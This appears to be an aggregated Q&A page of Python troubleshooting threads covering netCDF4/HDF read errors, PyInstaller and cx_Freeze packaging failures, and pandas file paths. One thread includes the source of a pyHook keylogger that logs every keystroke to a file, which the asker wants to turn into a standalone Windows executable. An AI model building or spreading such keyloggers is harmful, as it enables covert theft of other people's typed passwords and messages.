When I try to open a netcdf4 file containing tropomi data of the ESA copernicus mission, I run into the following error.
[Errno -101] NetCDF: HDF error: b'5P_NRTI_L2__CO_____20190505T104819_20190505T105319_08073_01_010301_20190505T124936.nc'
the code that I use is simply
import netCDF4
rootgrp = netCDF4.Dataset(5P_NRTI_L2__CO_____20190505T104819_20190505T105319_08073_01_010301_20190505T124936.nc, "r",format="NETCDF4")
If i re-install netCDF4 or shutdown my computer a few times it succeeds in reading the file again (though this trick does not always work). But it's just a matter of time before it starts failing again. Does anyone have any idea what causes this problem? I work under Ubuntu 18.
python-netCDF4 might be buggy, here is an example with another library which normally works for me (https://github.com/shoyer/h5netcdf):
import h5netcdf.legacyapi as netCDF4
with netCDF4.Dataset('mydata.nc', 'w') as ds:
...
Related
I have a python script that takes an ONNX Neural Network and converts it to a keras (.h5) model to be trained and exported back into ONNX as a newly trained model to be deployed later. The problem is that I am required to create a python .exe file from the python script as the goal is to deploy the deep learning model in C Plus Plus. Currently, the Python script does a great job of altering the onnx program for the C Plus Plus program to deploy the trained model, and successfully creates a .exe file with Pyinstaller with the following command:
pyinstaller --onefile Material_Classifier.py
However, the problem is that when I click on the .exe file in File Explorer, the console renders empty for about half a minute, and then stops working. When I use cmd, it gives the following error:
Failed to decode wchar_t from UTF-8
MultiByteToWideChar: The data area passed to a system call is too small.
share\jupyter\lab\staging\node_modules\.cache\terser-webpack-plugin\content-v2\sha512\2e\ba\cfce62ec1f408830c0335f2b46219d58ee5b068473e7328690e542d2f92f2058865c600d845a2e404e282645529eb0322aa4429a84e189eb6b58c1b97c1a could not be extracted!
fopen: No such file or directory
My first hunch was that my input ONNX folder was not in the same folder as the .exe file as the script requires it for input, but this did nothing to fix the .exe file. And now, I'm leaning towards the fact that PyInstaller may not like some of the following libraries that I used in my script:
import os
import onnx
import keras
import keras2onnx
from onnx2keras import onnx_to_keras
import tensorflow as tf
import numpy as np
from tensorflow import keras
from tensorflow.keras import layers
from tensorflow.keras.layers import Input
from tensorflow.keras.models import Model
from tensorflow.python.keras.models import load_model
import cv2
from tqdm import tqdm
import pickle
My second hunch is that because my program requires an external file and outputs a new file, I would need to specify this somehow before creating a .exe with Pyinstaller. But I currently have no way of knowing either way.
TLDR; I'm wondering if PyInstaller has trouble processing deep learning libraries if there is something else I'm doing incorrectly, and if there are any alternatives to creating .exe files from python scripts for deep learning. Thanks!
Answering my own question,
This process had something to do with PyInstaller not working with the Anaconda environment upon creating the .exe executable. When uninstalling Anaconda and reinstalling Python 3.7.x, I was able to successfully able to do this with no external environment when copying the tensorflow, onnx, and onnx.dist folders into the same directory as my script, then writing
pyinstaller --onefile --add-data C:\path\to\onnx;onnx. --add-data C:\path\to\tensorflow;tensorflow. --add-data C:\path\to\onnx-dist;onnx-dist. script.py
It is not hard to guess that the error occurs because the cache file name is too long. In most practical cases, it is enough to enter the directory specified in the error message and manually change the file name to any shorter one. As a rule, the share directory is located in directory Anaconda3. After that, you need to rebuild the executable file and make sure that the error message is no longer displayed.
i started using Jupyter and fell into a problem. Whilst trying to read a file called 'vgsales' it gave an error:
FileNotFoundError: [Errno 2] File vgsales.csv does not exist: 'vgsales.csv'
I have put the 'vgsales' folder which has my csv file within it in my desktop with the Jupyter notebook.
Not sure where i went wrong, Please help!
Thanks
Code used:
import pandas as pd
df = pd.read_csv('vgsales.csv')
df
Though the notebook is on your desktop, you still can find out which folder it is in by simply right click on it and choose property. Then you can copy your csv file to the same folder
To list which files are in local folder when you are inside a notebook, use !ls, note that you need ! for the command to work
I am trying to import a .csv file into pandas but I am getting a Unicode error. I am running a windows pc.
I am using the following command:
medals =pd.read_csv('C:\\Users\\Username\\Downloads\\data\\olympicmedals.csv')
What am I missing here?
This is just to import a .csv file into my notebook
I am using the following command:
medals =pd.read_csv('C:\\Users\\Username\\Downloads\\data\\olympicmedals.csv')
The file should be imported into my Jupyter notebook
Try this
medals =pd.read_csv(r"C:\\Users\\Username\\Downloads\\data\\olympicmedals.csv")
I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.
i am trying to create an executable from my python script. My script runs fine, but after freezing it, starting the .exe gives me the following error:
http://www.bild.me/bild.php?file=4663406scipyerror.png
I am using Python 3.2.3, Scipy 0.12.0b1, Numpy 1.7.0 and Matplotlib 1.2.0 (all 32bit).
Any ideas/hints on how to solve this? My guess is i have to include something manually in my freezing script, but i am running out of guesses :-(
I got it finally to work, but I am very unsatisfied with my solution:
1) copy _odepack.pyd and odepack.py from the SciPy package to my program folder
2) in odepack.py change from . import _odepack to import _odepack (otherwise ValueError: Attempted relative import in non-package is raised)
3) in my main change from scipy.integrate import odeint to from odepack import odeint
Now it is working as expected and after using cx_freeze it is still working.
Still got no idea why it would not work before :-(
Thanks ThomasK for pushing me in the right direction though :-)
I finally got around this vode-problem by specifying "scipy.integrate.vode" as an include in the cx setup-file. This resulted in a file "scipy.integrate.vode.pyd" to end up in the build folder. I am using SciPy 0.11, Python 3.2.3 and the latest cx on Windows.
But adding such a "scipy.integrate.vode" file manually to the build folder would not fix the problem for me either, even though such manual-include-fixes were needed for many other .pyd files cx could not find either (and whereby the above setup.py include-solution would not work instead)...
Thanks for sharing your distress and wisdom, would not have managed to freeze my program otherwize...